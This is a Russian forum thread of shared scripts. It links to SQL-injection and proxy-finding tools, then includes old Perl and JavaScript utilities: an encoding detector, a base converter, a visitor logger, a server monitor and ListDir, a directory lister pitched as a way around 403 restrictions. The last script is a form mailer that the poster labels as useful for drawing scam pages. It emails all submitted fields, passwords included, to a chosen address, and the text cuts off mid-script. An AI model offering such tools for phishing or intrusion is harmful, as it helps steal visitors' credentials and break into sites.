Скрипты от AOH.name Хочу представить вам мои скрипты, может кто то найдет что нибудь полезное для себя. Кому пригодились мои скрипты не забываем про + ############################# SQL binary search Утилитка для посимвольного пребора в SQL бинарным поиском. Метод используеться при отсутствие виода результатов SQL инъекции + хорошая скорость работы + все полностью автоматизированно. После выполнение будет выдан полный текст результата подзапроса URL: http://aoh.name/sploit/bin.txt ############################# SQL injection tool Без коментариев. Утилита для подбоpа кол-ва столбцов в union и автоматического перебора имен таблиц по словарю. URL: http://aoh.name/sploit/sql.txt ############################# Proxy finder Утилита для многопоточного поиска прокси и сканирование прокси листа на живые и неживые прокси. + Многопоточность + Работа с прокси листами - На active perl иногда не настроиваетсья таймаут. URL: http://aoh.name/sploit/a0hpr0xyf1nder.txt
скрипт показывающий кодировку PHP: <HTML> <HEAD> <TITLE>Ваша кодировка :</TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF"> <script> var u=navigator.userAgent; if (u.indexOf("Win") != -1) // Текст в 1251 document.writeln ("Windows 1251") ; else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1) // Текст в 866 document.writeln("MS-DOS CP866"); else // Текст в K018 document.writein ( "лПДЙТПЧЛБ KOI8-R") ; </script> </BODY> </HTML> скрипт 2-Base перекодировщик PHP: <HTML> <HEAD> <TITLE>Base converter</TITLE> <SCRIPT LANGUAGE="JavaScript"> <!-- hiding content from old browsers // Copyright (c) 1996-1997 Tomer Shiran. All rights reserved. // Permission given to use the script provided that this notice remains as is. // Additional scripts can be found at http: //www.geocities.com/~yehuda/ // Simulate the "power of" (^) operator ///////////////////////////////////////// function power(op1, op2) { var result = 1 for (var i = 1; i <= op2; i++) { result *= op1 } return result } // Simulate the div (integral division) // operator ///////////////////////////////////////// function div(op1, op2) { return Math.round(op1 / op2 - op1 % op2 / op2) } // Returns a digit (maximum hexadecimal) // based on its decimal value ///////////////////////////////////////// function getDigit(val) { if (val == 10) return "A" if (val == 11) return "B" if (val == 12) return "C" if (val == 13) return "D" if (val == 14) return "E" if (val == 15) return "F" return val // the return statement terminates the function, // so there is no need for else statements } // Returns the decimal value of a digit // (maximum hexadecimal) ///////////////////////////////////////// function getValue(dig) { if (dig == "A") return 10 if (dig == "B") return 11 if (dig == "C") return 12 if (dig == "D") return 13 if (dig == "E") return 14 if (dig == "F") return 15 return dig // the return statement terminates the function, // so there is no need for else statements } // Convert from decimal to specified base ///////////////////////////////////////// function toBase(num, base) { var newNum = (num == 0) ? "0" : "" while (num >= 1) { newNum = getDigit(num % base) + newNum num = div(num, base) } return newNum } // Convert from specified base to decimal ///////////////////////////////////////// function toDec(num, base) { if (base == 8) return parseInt("0" + num) if (base == 16) return parseInt("0x" + num) num = "" + num // convert to string by casting var numLength = num.length // the length property returns the length of a string var newNum = 0 // initialization // (must be 0 so the sum is not affected) var curDigit = "" var contributedValueValue = 0 for (var i = numLength - 1; i >= 0; --i) { curDigit = num.charAt(i) contributedValue = getValue(curDigit) contributedValue *= power(base, numLength - (i + 1)) newNum += parseInt(contributedValue) } return newNum } // Main function that accepts input and // calls appropriate functions ///////////////////////////////////////// function convert(num, base1, base2) { if (typeof num == "string") num = num.toUpperCase() if (base1 == base2) return num if (base1 == 10) return toBase(num, base2) if (base2 == 10) return toDec(num, base1) return toBase(toDec(num, base1), base2) } // Create a conversion table ///////////////////////////////////////// function drawTable(lastNum) { with (document) { lastNum = parseInt(lastNum) write("<TABLE BORDER=3>") write("<TR><TD COLSPAN=8><CENTER><FONT COLOR=purple SIZE=+4>") write("Base Converter</FONT></CENTER></TD></TR>") write("<TR>") for (var k = 2; k <= 16; k = k + 2) { write("<TD><CENTER> Base " + k + " </CENTER></TD>") } write("</TR>") for (var i = 0; i <= lastNum; ++i) { write("<TR>") for (var j = 2; j <= 16; j = j + 2) { write("<TD>" + toBase(i, j) + "</TD>") } write("</TR>") } write("</TABLE>") } } // Gets table's input ///////////////////////////////////////// function getTableAttributes() { var message = "Enter last number to be converted in the table" var lastNum = parseInt(prompt(message, 15)) if (lastNum != 0) drawTable(lastNum) } // Convert individual numbers, until the // user selects cancel on the first // prompt of the loop ///////////////////////////////////////// function calcNum() { while(1) { var number = prompt("Enter a number in any base:", 0) if (number == null) break var base1 = prompt("Enter its base:", 10) if (base1 == null) continue base1 = parseInt(base1) var base2 = prompt("Enter the desired base:", 16) if (base2 == null) continue base2 = parseInt(base2) var outputString = number + " (base " + base1 + ") = " outputString += convert(number, base1, base2) outputString += " (base " + base2 + ")" alert(outputString) } } // Ask user for conversion device // (T-table, I-individual values) ///////////////////////////////////////// function mainInput() { var message = "Enter (T) to create a table or (V) to " message += "calculate a value" var chosenDevice = prompt(message, "T") if (chosenDevice == "T" || chosenDevice == "t") getTableAttributes() else if (chosenDevice == "V" || chosenDevice == "v") calcNum() else alert("Goodbye!") } mainInput() // end hiding content --> </SCRIPT> </HEAD> <BODY> </BODY> </HTML> Кодировщик-перекодировщик PHP: <HTML> <HEAD> <TITLE>Enciphering</TITLE> <SCRIPT LANGUAGE="JavaScript"> <!-- // Copyright (c) 1996-1997 Tomer Shiran. All rights reserved. // Permission given to use the script provided that this notice remains as is. // Additional scripts can be found at http: //www.geocities.com/~yehuda/ // create list of valid characters var list = "0123456789abcdefghijklmnopqrstuvwxyz._~ABCDEFGHIJKLMNOPQRSTUVWXYZ" function encipher() { // prompt user for string var str = prompt("Enter string:", "") // terminate function if user selects CANCEL if (!str) return // check that each character of input string is valid for (var i = 0; i < str.length; ++i) { if (list.indexOf(str.charAt(i)) == -1) { alert("script terminated -- invalid character found") return } } // prompt user for key var key = prompt("Enter key (1-63):", "") // terminate function if user selects CANCEL if (!key) return // convert key to integer (number) key = parseInt(key) // alert enciphered string alert(encode(str, key)) } function encode(str, key) { // initialize accumulative string variable var code = "" // encipher all characters for (var i = 0; i < str.length; ++i) { var ind = list.indexOf(str.charAt(i)) var converted = list.charAt(ind ^ key) code += converted } // return enciphered value return code } encipher() // --> </SCRIPT> </HEAD> <BODY> </BODY> </HTML>
Этот скрипт сохраняет информацию о посетителях вашего сайта (дата, время,host name, IP-адрес и т.д.),затем он отсылает вам эту информацию по E-mail. PHP: #! /usr/local/bin/perl # mail-log.cgi # # Version 2.03 -- 27 Jan 1997 # http://www.all-yours.net/scripts/ # Perl (release 4 or 5) script for Unix servers # Written by Walter Soldierer of All-Yours Internet Solutions # ([email protected]), one of the authors of # # THE DIGITAL POSTCARD # # A FREE service to increase your web site's exposure! # Need more hits? # Check it out at http://www.all-yours.net/postcard/ # This script saves access date+time, the visitor's host name, their IP # address and browser type, and the refering page (if any) to a log file # on your server (default name = logfile.txt). This file will be automatically # mailed to your mailbox. You can change the mailing interval according # to your needs (default value is every 50 accesses to the page to be # logged). The script will autocreate the logfile, if it does not exist. # ----- BEGIN INSTALLATION INSTRUCTIONS ----- # - Save this script to a file mail-log.cgi # - Cut installation instructions (optional) # - Change the first script line, if your server's Perl executable # is not located in /usr/local/bin/perl # - Customize the settings below (*SETTINGS*) # * Change e-mail address for $recipient # * Set $log_page to 1 if you also want to log the page that # called this script. Recommended in case you want to log accesses # to more than one HTML page. # * Set $max_entries to your needs, if you want to have more or less # than 50 log entries mailed to your mailbox each time. # * Change path/filename for log file, if necessary # (default = logfile.txt in your cgi directory) # * Change values for $check_host and $interval, if necessary # * Change filename for host/time file, if necessary (default = hosttime.txt) # - ASCII-upload mail-log.cgi to your cgi directory (cgi-bin, cgi-local...) # Make it executable (chmod mail-log.cgi 755) # - add the following line (Server Sde Include) to the page(s) to be logged # (after the <body> tag): # <!--#exec cgi="/your-cgi-directory/mail-log.cgi"--> # HTML pages with Server Side Include tags often need to have the # file extension ".shtml" !!!! (don't forget to update # all links to this page(s) accordingly) # (You should test the script with a test.shtml page first) # - Load the logged page(s) with your browser. # - View your new logfile # It should look something like this: # # Time: 05/30/96 14:44:07 EDT # Host: your.host.and.domain # Addr: 123.45.67.89 # With: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) # Page: test.shtml # From: [no entry here, if you accessed your page directly (otherwise Yahoo etc.)] # # If the script doesn't work and you want to contact us, please check # the following first: # - did you upload the script in ASCII mode (*not* binary)? # - did you chmod the script 755 # - does your server support the "exec cgi" Server Side Include? # - did you rename the html file to .shtml # - did you check the path to your server's Perl executable? # # If you still have a problem and you want us to help you, we need to know: # - a detailed description of your problem # - your script's settings section # - html code and file name for the page to be logged # - script related error messages from your server's error log file # ----- END INSTALLATION INSTRUCTIONS ----- # ----------------------------------------------------------------------- # *SETTINGS* to customize this script: # Your email address (within single quotes!): $recipient = '[email protected]'; # Do you want to log the .shtml page's file name? # (recommended when more than one poage is logged) # 1 = the .shtml page that called this script will be logged # 0 = the .shtml page that called this script will not be logged $log_page = 1; # Do you want to log your visitor's IP number? # The script attemps to call a domain name server in order to resolve # IP addresses (such as 132.45.323.5) to a host name (such as yourdomain.com) # However, resolving IP addressses doesn't work 100 per cent so you # might also want to log rhe IP addresses. # 1 = IP addresses will be logged # 0 = IP addresses will be discarded $log_IP = 1; # Number of logged visits mailed to your mailbox at a time: $max_entries = 50; # Change logfile name if necessary: $logfile = 'logfile.txt'; # server's sendmail directory: $mailprogam = '/usr/lib/sendmail'; # If you set $check_host = "1" the script attempts not # to log multiple page reloads. # When a page was accessed from the same host by using the same # browser, this visit will only be logged after the time # interval specified in $interval. # Example: You set $interval to 1800 (seconds). If there was no # access from a different host in the meantime, a visitor from the # same host who uses the same browser will only be logged when s/he # accesses your page 30 minutes after visitor one. # In other words: If someone reloads the page many times, in most cases # s/he needs to wait 30 minutes after each reload to make your log file # grow. When you set $check_host to 0 even the reloads will be logged. $check_host = 1; # set to zero if you don't like this feature # If you set the $check_host variable to 1, specify a time interval to # ignore page reloads $interval = 600; # seconds! # If you set the $check_host variable to 1, change the name of the file # that temporarily stores host and time information (if necessary) $hostfile = 'hostfile.txt'; # don't change anything past this line unless you know what you are doing # ----------------------------------------------------------------------- # create a date+time string $shortdate = `date +"%D %T %Z"`; chop ($shortdate); # Some of Perl's network info functions required here ($part1,$part2,$part3,$part4)=split(/\./,$ENV{REMOTE_ADDR}); $IP_adr=pack("C4",$part1,$part2,$part3,$part4); ($host_name)=(gethostbyaddr("$IP_adr", 2)); print "Content-type: text/plain\n\n"; if ($check_host) { # read host and time info from last visitor if (-e "$hostfile") { open(HOST,"$hostfile"); $hostline = <HOST>; chop($hostline) if $hostline =~ /\n$/; close(HOST); ($old_time,$old_number,$old_page,$old_browser) = split(/\|/,$hostline); } # save host and time info and check if this is a page reload open(HOST,">$hostfile"); $seconds = time; print HOST "$seconds\|$ENV{REMOTE_ADDR}\|$ENV{'DOCUMENT_URI'}\|$ENV{'HTTP_USER_AGENT'}"; close(HOST); if (time - $old_time < $interval && $ENV{REMOTE_ADDR} eq $old_number && $ENV{'DOCUMENT_URI'} eq $old_page && $ENV{'HTTP_USER_AGENT'} eq $old_browser) { exit; # probably same visitor, so exit } } # open log file for output and append new log data open (LOGFILE, ">>$logfile"); print LOGFILE "Time: $shortdate\n"; print LOGFILE "From: $ENV{'HTTP_REFERER'}\n"; print LOGFILE "IP : $ENV{REMOTE_ADDR}\n" if $log_IP; print LOGFILE "Host: $host_name\n"; print LOGFILE "With: $ENV{'HTTP_USER_AGENT'}\n"; print LOGFILE "Page: $ENV{'DOCUMENT_URI'}\n" if $log_page; print LOGFILE "\n"; close (LOGFILE); # open log file for input and count log entries open (LOGFILE, $logfile); @entries = <LOGFILE>; close (LOGFILE); $log_rows = 7; $log_rows-- unless $log_page; $log_rows-- unless $log_IP; $log_count = @entries/$log_rows; # if number of logs >= max. number of logs, mail file and delete it if ($log_count >= $max_entries) { open (MAIL, "|$mailprogam $recipient") || die "Can't open $mailprogam!\n"; print MAIL "Subject: Mail-log File\n\n"; print MAIL "@entries\n"; close MAIL; unlink $logfile; } # end of script Скрипт выполняет множество функций для администрирования Unix сервера. PHP: #!/usr/bin/perl5 # # +---------------------------------------------------------------------+ # | sysdaemon | # | Written By : Trans-Euro I.T Ltd | # | Written On : July 27th 1997 | # | | # | Purpose System monitor | # | Reads the contents of :- | # | /usr/local/etc/sysdaemon/daemontab | # | the daemon names present are scanned for the results | # | being written back to :- | # | /var/log/sysmon.REPORT | # | If a failure occurs the appropriate support team are | # | contacted by email.. also if any filestore partition | # | reaches 99%, a pager message can also be sent. | # | This daemon replaces sysmon, which was written in | # | korn shall/bash. | # | On recieving a kill -HUP signal the daemon will | # | re-read its config file. | # | The definable nature of this daemon means... | # | There is NO user changeable code. | # +---------------------------------------------------------------------+ # | (c) 1997 This script is the intellectual property of | # | Trans-Euro I.T Ltd | # +---------------------------------------------------------------------+ use Config; $VERSION="1.40"; $PROGRAM="sysdaemon"; $hup=0; $pidfile="/var/run/sysdaemon.pid"; $tab="/usr/local/etc/sysdaemon/daemontab"; $report="/var/log/sysmon.REPORT"; $date=get_date(); $time=get_time(); $node=`uname -n`; $daemon_name=""; $status=""; $work1="/tmp/sysdaemon1.$$"; $work2="/tmp/sysdaemon2.$$"; $mailprog='/usr/sbin/sendmail'; $support="support\@svr1.marketrends.net"; $filesystem=""; $capacity=""; $fstat=""; @daemontable=""; @proc=""; @fstab=""; format SYSDAEMON = @<<<<<<<<<<<<<<<<<< : daemon is @<<<<<<<<<<<<<<<<<<<<<<<<:Status is @<<<< $time $daemon_name $status . format SYSDAEMONHUP = @<<<<<<<<<<<<<<<<<< : HUP re-reading @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< $time $tab . format SYSDAEMONFS = @<<<<<<<<<<<<<<<<<< : @<<<<<<<<<<<<<<<<<<< : @<<<< : @<<<< $time $filesystem $capacity $fstat . unless ( -s "$tab") { die "$tab is either missing or empty !!\n";} read_daemontab(); unless (fork) { unless (fork) { sleep1 until getppid == 1; # +---------------------------------------------------------------------+ # | Main Daemon control loop | # +---------------------------------------------------------------------+ write_pid(); write_report_header(); while ( ! $daemon_control) { # +---------------------+ # | Catch signals here! | # +---------------------+ $SIG{HUP} = \&hup; if ($hup) { read_daemontab();$hup=0;} # +---------------------+ # | main process loop | # +---------------------+ $SIG{HUP} = \&hup; $date=get_date(); $time=get_time(); gather_process_info(); scan_process(); check_filestore(); unlink($work1); unlink($work2); sleep 300; } exit 0; } exit 0; } # +---------------------------------------------------------------------+ # | Sub programs | # +---------------------------------------------------------------------+ sub hup { $hup=1; } # +---------------------------------------------------------------------+ sub read_daemontab { if ($hup eq "1") { log_hup();} open(T,"$tab") || die "Cannot open $tab!\n"; @daemontable=<T>; close(T); foreach $EOF (@daemontable) { $_=$EOF; s/\012//g; $EOF=$_;} } # +---------------------------------------------------------------------+ sub write_pid { open(PID,">$pidfile") || die "Cannot open $pidfile!!\n"; print PID $$; close(PID); } # +---------------------------------------------------------------------+ sub get_date { my $date=`date`; $_=$date; s/\012//g; $date=$_; return $date; } # +---------------------------------------------------------------------+ sub write_report_header { open(REP,">$report")|| die "Cannot open $report!!\n"; print REP "--------------------------------------------------------\n"; print REP "$PROGRAM : $VERSION starts at $date\n"; print REP "Trans-Euro I.T (c) 1997.\n"; print REP "Written by Stephen Martin\n"; print REP "--------------------------------------------------------\n"; close(REP); } # +---------------------------------------------------------------------+ sub get_time { my $time=`date +"%D : %T"`; $_=$time; s/\012//g; $time=$_; return $time; } # +---------------------------------------------------------------------+ sub gather_process_info { open(WORK1,"|ps -ax > $work1")|| die "Cannot gather process info!\n"; close(WORK1); open(WORK1,"$work1")|| die "Cannot read process workfile!\n"; @proc=<WORK1>; close(WORK1); } # +---------------------------------------------------------------------+ sub scan_process { foreach $dproc (@daemontable){ ($daemon,$daemon_name)=split(/:/,$dproc); if ( grep /$daemon/, @proc ) {log_daemon_status("$daemon_name","up");} else { log_daemon_status("$daemon_name","down"); mail_support("$daemon_name");} } } # +---------------------------------------------------------------------+ sub log_daemon_status { my ($daemon_name,$state) = @_; $status=$state; open(SYSDAEMON,">>$report")|| die "Cannot log results to $result!\n"; write SYSDAEMON; close(SYSDAEMON); } # +---------------------------------------------------------------------+ sub log_hup { open(SYSDAEMONHUP,">>$report")|| die "Cannot log HUP call to $result!\n"; write SYSDAEMONHUP; close(SYSDAEMONHUP); } # +---------------------------------------------------------------------+ sub mail_support { my ($d_name) = @_; $d_name; open (MAIL, "| $mailprog $support") || die "Can't open $mailprog!\n"; print MAIL "To: $support\n"; print MAIL "From:$PROGRAM\n"; print MAIL "Subject:$PROGRAM : $d_name failure\n"; print MAIL "------------------------------------------------------\n\n"; print MAIL "$PROGRAM has detected $d_name missing on $node"; close (MAIL); } # +---------------------------------------------------------------------+ sub check_filestore { local $line,$d1,$d2,$d3,$d4,$fs; open(DF,"|df > $work2")||die "Cannot df!\n"; close(DF); open(DFW,"$work2")||die "Cannot open $work2!\n"; while(<DFW>) { @fstab=<DFW>; } close(DFW); foreach $line (@fstab) { ($d1,$d2,$d3,$d4,$lim,$fs)=split(/\ {1,}/,$line); if ( $lim gt "98%" ) { log_fs("$fs","$lim","Full"); mail_support_fs("$fs","$lim","Full"); } else { log_fs("$fs","$lim","Ok")}; } } # +---------------------------------------------------------------------+ sub log_fs { my ($l1,$l2,$l3) = @_; $fstat="$l3"; $filesystem=$l1; $capacity=$l2; open(SYSDAEMONFS,">>$report") || die "Cannot open $report to log fs full\n"; write SYSDAEMONFS; close(SYSDAEMONFS); } # +---------------------------------------------------------------------+ sub mail_support_fs { my ($l1,$l2,$l3) = @_; $fstat="$l3"; $filesystem=$l1; $capacity=$l2; open (MAIL, "| $mailprog $support") || die "Can't open $mailprog!\n"; print MAIL "To: $support\n"; print MAIL "From:$PROGRAM\n"; print MAIL "Subject:$PROGRAM : Filestore $node Full $filesystem\n"; print MAIL "------------------------------------------------------\n\n"; print MAIL "$PROGRAM has detected that the filesystem $filesystem"; print MAIL "on $node has become full.\n"; print MAIL "$filesystem is currently at $capacity.\n"; close (MAIL); }
ListDir v1.0 Листинг содержимого псевдокорневой директории и поддиректорий на вашем сайте. Обычно помогает при 403 ошибке: "Forbidden. You don't have permission to access /~user/dir/ on this server." т.е. когда админ запретил пользователям просмотр содержимого web директорий возможно в целях повышения security. PHP: #!/usr/bin/perl ################### # # # ListDir v1.0 ###################### # # ################ Benvolio mindcrimer # # # ######################### # klassno, vy polezli v ishodniki.. # zna4it, ya tak polagayu, eto vam za4em-to ponadobilos' # tak vot, eto delo pisalos' s boduna i za 1 ve4er # koro4e v kode sam 4ert nogu slomit, nikakoj struktury, vse v kashu # sej skript real'no primenyaetsya(lsya) na # http://dezcom.mephi.ru/~jerry/download/listdir.cgi i vrode dazhe rabotal :) # esli ne len' - mozhete zajti na moyu strani4ku # http://dezcom.mephi.ru/~jerry/ # ili mozhno potrepat'sya po as'ke: 16455534 # vsego samogo! vash eugene a. jerusalimov aka benvolio mindcrimer :) # p.s. es4e mozhno primenyat' index.shtml: <!--#include virtual="listdir.cgi" --> $cvalue=""; $command=""; $envstring="$ENV{'QUERY_STRING'}"; ($command,$cvalue)=split('=',$envstring); print "Content-type: text/html\n\n"; print "<html><head><title>ListDir v1.0 by Benvolio mindcrimer</title> <meta name=\"author\" content=\"Eugene A. Jerusalimov\"></head><body>\n"; @sp=split('\/',$ENV{'SCRIPT_NAME'}); foreach(@sp) { chomp; $sn=$_; } print "<table><tr><td>ListDir v1.0: Browsing the directory <b><a href=\"$sn\">/</a>$cvalue</b></td></tr></table><table>\n"; if($command=="subdir" || $cvalue ne "") { chdir($cvalue); } open(FILES,"/bin/ls |"); @files=<FILES>; foreach(@files) { chomp; ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$atime,$mtime,$ctime,$blksize,$blocks) = stat; @sp=split('\/'); foreach(@sp) { chomp; } $fsz=int $size/1024; $sep="";$subdir=""; ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime($mtime); if($mday<10) { $mday="0$mday"; } $mon++; if($mon<10) { $mon="0$mon"; } $date="$mday.$mon.$year"; if($min<10) { $min="0$min"; } if($hour<10) { $hour="0$hour"; } $time="$hour:$min"; $octmode=(sprintf("%lo",$mode)%1000); if($cvalue ne "") { $sep="/"; } if($nlink==1) { ($z,$afext)=split('\.'); $fsize="$fsz"."k"; } else { $afext="dir"; $fsize="---"; $subdir="?subdir=$cvalue$sep$_"; } if($_ ne $sn) { print "<tr><td>$afext</td><td>"; if($nlink==1) { print "<a href=\"$cvalue$sep$_\">$_</a>"; } else { print "<a href=\"$sn$subdir\">$_</a>"; } print "</td><td>$octmode</td><td>$fsize</td><td>$date</td><td>$time</td></tr>\n"; } } print "</table><br><table><tr><td>Copyright <a href=\"http://dezcom.mephi.ru/~jerry/\">Benvolio mindcrimer</a> 1999.</td></tr><tr><td>If you want to get a copy of this script simply <a href=\"mailto:jerry\@dezcom.mephi.ru?subject=listdir.cgi\">mail me</a>.</td></tr></table></body></html>\n"; # (c) eugene a. jerusalimov aka. benvolio mindcrimer полезные скрипт для рисовки СКАМА (Этот скрипт пересылает данные с формы, заполненные посетителями Вашего сервера. В форме могут быть обозначены любые типы полей, такие, например, как текстовые, парольные (password), checkbox и т.д. Форма создается Вами и может иметь любое количество полей.) PHP: #!/perl/bin/perl ############################################################################# # Возвратная форма # # Написана Андреем Юриным 22.09.98 # # ########################################################################### # WWW.SCRIPT.RU # # ########################################################################### # Этот скрипт является частью коллекции скриптов сервера www.script.ru # # Свои пожелания и/или предложения присылайте на [email protected] # ############################################################################# ################################################## # Определение переменных: # ################################################## # Настоящий путь к программе отсылки e-mail $mailprog = '/usr/sbin/sendmail'; #Алфавиты кодировок $tbl_alt="*ЎўЈ¤Ґ¦§Ё©Є«¬*®Їабвгдежзиймлкноп"; $tbl_koi="БВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭШЩЯЬАСбвчздецъйклмнопртуфхжигюыэшщяьас"; $tbl_win="абвгдежзийклмнопрстуфхцчшщьыъэюяАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ"; $win_koi="/".$tbl_win."/".$tbl_koi."/"; $win_alt="/".$tbl_win."/".$tbl_alt."/"; # &get_date; # Считать данные формы &parse_form; # Проверить все ли необходимые поля заполнены &check_required; # Return HTML Page or Redirect User &return_html; # отсылка e-mail &send_mail; ################################################################# # Перевод даты # ################################################################# sub get_date { @days = ('Воскресение','Понедельник','Вторник','Среда','Четверг','Пятница','Суббота'); @months = ('Январь','Февраль','Март','Апрель','Май','Июнь','Июль', 'Август','Сентябрь','Октябрь','Ноябрь','Декабрь'); ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); if ($hour < 10) { $hour = "0$hour"; } if ($min < 10) { $min = "0$min"; } if ($sec < 10) { $sec = "0$sec"; } $date = "$days[$wday], $months[$mon] $mday, 19$year в $hour\:$min\:$sec"; } ################################################################# # Считывание данных формы # ################################################################# sub parse_form { if ($ENV{'REQUEST_METHOD'} eq "POST") { read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}) } elsif ($ENV{'REQUEST_METHOD'} eq "GET") { $buffer = $ENV{'QUERY_STRING'} } else { &error('request_method'); } @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ s/<([^>]|\n)*>//g; $value =~ s/<//g; $value =~ s/>//g; $value =~ s/\s/ /g; $value =~ s/\cM\n/<br>/gi; $value =~ s/\n/<br>/gi; # Без перевода каретки $value =~ s/\|/\\/gi; #Без разделителей if ($name eq 'recipient' || $name eq 'subject' || $name eq 'email' || $name eq 'realname' || $name eq 'redirect' || $name eq 'bgcolor' || $name eq 'background' || $name eq 'link_color' || $name eq 'vlink_color' || $name eq 'text_color' || $name eq 'alink_color' || $name eq 'title' || $name eq 'sort' || $name eq 'submit' || $name eq 'print_config' || $name eq 'return_link_title' || $name eq 'return_link_url' && ($value)) { $CONFIG{$name} = $value; } elsif ($name eq 'required') { @required = split(/,/,$value); } elsif ($name eq 'env_report') { @env_report = split(/,/,$value); } else { if ($FORM{$name} && ($value)) { $FORM{$name} = "$FORM{$name}, $value"; } elsif ($value) { $FORM{$name} = $value; } } } } ################################################################# # Проверка заполнения обязательных полей # ################################################################# sub check_required { foreach $require (@required) { if ($require eq 'recipient' || $require eq 'subject' || $require eq 'email' || $require eq 'realname' || $require eq 'redirect' || $require eq 'bgcolor' || $require eq 'background' || $require eq 'link_color' || $require eq 'vlink_color' || $require eq 'alink_color' || $require eq 'text_color' || $require eq 'sort' || $require eq 'title' || $require eq 'print_config' || $require eq 'return_link_title' || $require eq 'return_link_url') { if (!($CONFIG{$require}) || $CONFIG{$require} eq ' ') { push(@ERROR,$require); } } elsif (!($FORM{$require}) || $FORM{$require} eq ' ') { push(@ERROR,$require); } } if (@ERROR) { &error('missing_fields', @ERROR); } } ################################################################# # Вывод сообщения о добавлении записи # ################################################################# sub return_html { my $bod = &body_attributes; if ($CONFIG{'redirect'} =~ /http\:\/\/.*\..*/) { print "Location: $CONFIG{'redirect'}\n\n"; } else { if ($CONFIG{'title'}) { &print_head($CONFIG{'title'}, $bod); } else { &print_head($CONFIG{'title'}, $bod); } print "<center>\n"; if ($CONFIG{'title'}) { print "<h1>$CONFIG{'title'}</h1>\n"; } else { print "<h1>Спасибо</h1>\n"; } print "</center>\n"; #print "<center>Это содержимое формы, заполненой Вами и отправленной к $CONFIG{'recipient'}.<br>"; print "$date</center><p><hr size=2 width=90\%><p>\n"; if ($CONFIG{'sort'} eq 'alphabetic') { foreach $key (sort keys %FORM) { print "<b>$key:</b> $FORM{$key}<p>\n"; } } elsif ($CONFIG{'sort'} =~ /^order:.*,.*/) { $sort_order = $CONFIG{'sort'}; $sort_order =~ s/order://; @sorted_fields = split(/,/, $sort_order); foreach $sorted_field (@sorted_fields) { if ($FORM{$sorted_field}) { print "<b>$sorted_field:</b> $FORM{$sorted_field}<p>\n"; } } } else { foreach $key (keys %FORM) { print "<b>$key:</b> $FORM{$key}<p>\n"; } } print "<p><hr size=7 width=75%><p>\n"; if ($CONFIG{'return_link_url'} =~ /http\:\/\/.*\..*/ && $CONFIG{'return_link_title'}) { print "<ul>\n"; print "<li><a href=\"$CONFIG{'return_link_url'}\">$CONFIG{'return_link_title'}</a>\n"; print "</ul>\n"; } &print_end; } } ################################################################# # Подпрограмма отправки сообщения # ################################################################# sub send_mail { foreach $i (keys %FORM) { eval("\$FORM{$i} =~ tr".$win_koi); } foreach $i (keys %CONFIG) { eval("\$CONFIG{$i} =~ tr".$win_koi); } eval("\$date =~ tr".$win_koi); open(MAIL,"|$mailprog -t"); # open(MAIL, ">form"); print MAIL "To: $CONFIG{'recipient'}\n"; print MAIL "From: $CONFIG{'email'} ($CONFIG{'realname'})\n"; if ($CONFIG{'subject'}) { print MAIL "Subject: $CONFIG{'subject'}\n\n"; } else { print MAIL "Subject: WWW Form Submission\n\n"; } print MAIL "***** This is free service from Land.Ru ****\n"; print MAIL "It's results of fill You form. It was "; print MAIL "submitted by $CONFIG{'realname'} ($CONFIG{'email'}) on "; print MAIL "$date\n"; print MAIL "---------------------------------------------------------------------------\n\n"; if ($CONFIG{'print_config'}) { @print_config = split(/,/,$CONFIG{'print_config'}); foreach $print_config (@print_config) { if ($CONFIG{$print_config}) { print MAIL "$print_config: $CONFIG{$print_config}\n\n"; } } } if ($CONFIG{'sort'} eq 'alphabetic') { foreach $key (sort keys %FORM) { print MAIL "$key: $FORM{$key}\n\n"; } } elsif ($CONFIG{'sort'} =~ /^order:.*,.*/) { $CONFIG{'sort'} =~ s/order://; @sorted_fields = split(/,/, $CONFIG{'sort'}); foreach $sorted_field (@sorted_fields) { if ($FORM{$sorted_field}) { print MAIL "$sorted_field: $FORM{$sorted_field}\n\n"; } } } else { foreach $key (keys %FORM) { print MAIL "$key: $FORM{$key}\n\n"; } } print MAIL "---------------------------------------------------------------------------\n"; foreach $env_report (@env_report) { print MAIL "$env_report: $ENV{$env_report}\n"; } close (MAIL); } ################################################################# # Вывод сообщений об ошибках # ################################################################# sub error { my $bod = &body_attributes; ($error,@error_fields) = @_; if ($error eq 'bad_referer') { &print_head("Нет прав доступа"); print "<center>\n <h1>Извините, но у Вас нет прав доступа!</h1>\n </center>\n"; &print_end; } elsif ($error eq 'request_method') { &print_head("Не тот метод", $bod); print "<center>\n <h1>Метод, которым была отправлена форма, не поддерживается сервером. Форма может быть отправлена только способами GET или POST</h1>\n </center>\n"; &print_end; } elsif ($error eq 'missing_fields') { &print_head("Вы заполнили не все поля", $bod); print "<center>\n <h1>Вы оставили обязательные поля в форме пустыми</h1>\n </center>\n"; print "Следующие поля необходимо заполнить:<p>\n"; print "<ul>\n"; foreach $missing_field (@error_fields) { print "<li>$missing_field\n"; } print "</ul>\n"; print "<p><hr size=7 width=75\%><p>\n"; print "Возвратитесь в форму и попробуйте <a href=\"$ENV{'HTTP_REFERER'}\">заполнить поля</a>\n"; &print_end; } exit; } ################################################################# # Вывод аттрибутов тега <body> # ################################################################# sub body_attributes { my $out; if ($CONFIG{'bgcolor'}) { $out = $out." bgcolor=\"$CONFIG{'bgcolor'}\""; } if ($CONFIG{'background'} =~ /http\:\/\/.*\..*/) { $out = $out." background=\"$CONFIG{'background'}\""; } if ($CONFIG{'link_color'}) { $out = $out." link=\"$CONFIG{'link_color'}\""; } if ($CONFIG{'vlink_color'}) { $out = $out." vlink=\"$CONFIG{'vlink_color'}\""; } if ($CONFIG{'alink_color'}) { $out = $out." alink=\"$CONFIG{'alink_color'}\""; } if ($CONFIG{'text_color'}) { $out = $out." text=\"$CONFIG{'text_color'}\""; } return $out; } ################################################################# # Печать HTML - заголовка # ################################################################# sub print_head { my $bod = $_[1]; print 